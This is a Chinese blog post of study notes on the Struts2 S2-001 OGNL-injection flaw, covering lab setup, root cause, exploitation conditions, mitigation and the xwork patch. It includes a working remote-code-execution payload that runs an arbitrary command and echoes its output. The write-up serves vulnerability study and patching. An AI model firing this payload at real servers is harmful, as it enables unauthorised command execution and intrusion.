(Injection)(RCE)(Struts2)(笔记)s2-001漏洞学习笔记

写在前面

这篇文章是关于作者学习s2-001漏洞的笔记
对于一个从事安全方向的人,漏洞复现和学习是非常有必要的,一方面是面试时可能会问到;另一方面是学习这些漏洞可以了解漏洞一般是怎么产生的,有助于你自个去发掘0day;还有就是对于安全工具开发者,研究漏洞有助于编写自动化工具实现漏洞的自动检测和利用
在我学习一个漏洞的时候,我会以下几个方面入手

  • 这个漏洞的原理是什么
  • 这个漏洞影响哪些版本
  • 这个漏洞在什么环境下能触发
  • 这个漏洞怎么利用
  • 这个漏洞怎么修复的
    • 紧急响应的处理方法
    • 最终补丁使用的方法
  • 能为这个漏洞编写工具实现自动化检测和利用吗(可选项,根据个人情况决定

除此之外,学习一个漏洞最好是上手实践一下,GitHub有一个非常好的项目(vulhub),是基于docker-compose的提前构建好的漏洞环境,大家可以尝试一下

关于s2-001,我没找到当时的紧急处理方法,所以下面的方法是我自个想的,可能不对,因为我也没有遇到过紧急情况(笑)
关于这篇文章,如果有建议或问题请留言或联系h3llow0rld@foxmail.com

正文

环境搭建

vulhub的漏洞环境是支持远程调试的,但是有些比较老旧的环境没有配置远程调试的选项,需要自己手动的配置一下,这个小节较为详细的演示如何配置。如果不想远程调试,只是运行环境测试payload的朋友可以跳过这一小节
1.对于开源项目,将源代码拉下来,进入漏洞对应的版本

2.配置一下Dockerfile和docker-compose文件

3.使用idea打开项目,配置debug config

4.打断点,开始debug

漏洞分析

漏洞详情页

影响版本

2.0.0~2.0.8

漏洞原理

开启altSyntax后,在渲染返回页面时,struts2解析闭合标签的过程中递归解析了用户的输入值,因此用户可以构建OGNL表达式进行OGNL注入,最终导致了RCE
关于altSyntax,这个功能的作用是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了
关于OGNL是什么,可以看一下这篇文章扫盲
详细的分析可以看chybeta师傅的文章

利用条件

1.开启altSyntax,在struts.xml中配置

<struts altSyntax="true">
    <package name="default" extends="struts-default">
        <!-- 你的配置 -->
    </package>
</struts>

2.用户输入数据后页面不发生跳转,或者跳转后页面有与跳转前页面有相同的标签存在,且该标签输入内容是用户可以控制的。最经典的场景就是登陆表单,一般登陆表单都会设置validation条件,校验失败会原样返回用户输入的值,触发了漏洞

利用方法

需要注意的是所有payload发送到服务器之前需要经过url编码
验证PoC:%{1+1}

利用PoC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

pwd可以改为任意的命令

如何修复
紧急处理方法

关闭altSyntax,不适用OGNL表达式

补丁修复方法

具体的修复在xwork-2.0.4中,通过修改com.opensymphony.xwork2.util.TextParseUtil#translateVariables方法来限制递归的解析,新增参数int maxLoopCount用于确保不在递归解析用户的输入

//xwork-2.0.3 com.opensymphony.xwork2.util
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
    Object result = expression;

    while(true) {
        int start = expression.indexOf(open + "{");
        int length = expression.length();
        int x = start + 2;
        int count = 1;

        while(start != -1 && x < length && count != 0) {
            char c = expression.charAt(x++);
            if (c == '{') {
                ++count;
            } else if (c == '}') {
                --count;
            }
        }

        int end = x - 1;
        if (start == -1 || end == -1 || count != 0) {
            return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
        }

        String var = expression.substring(start + 2, end);
        Object o = stack.findValue(var, asType);
    // 省略下面部分
  • 11
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值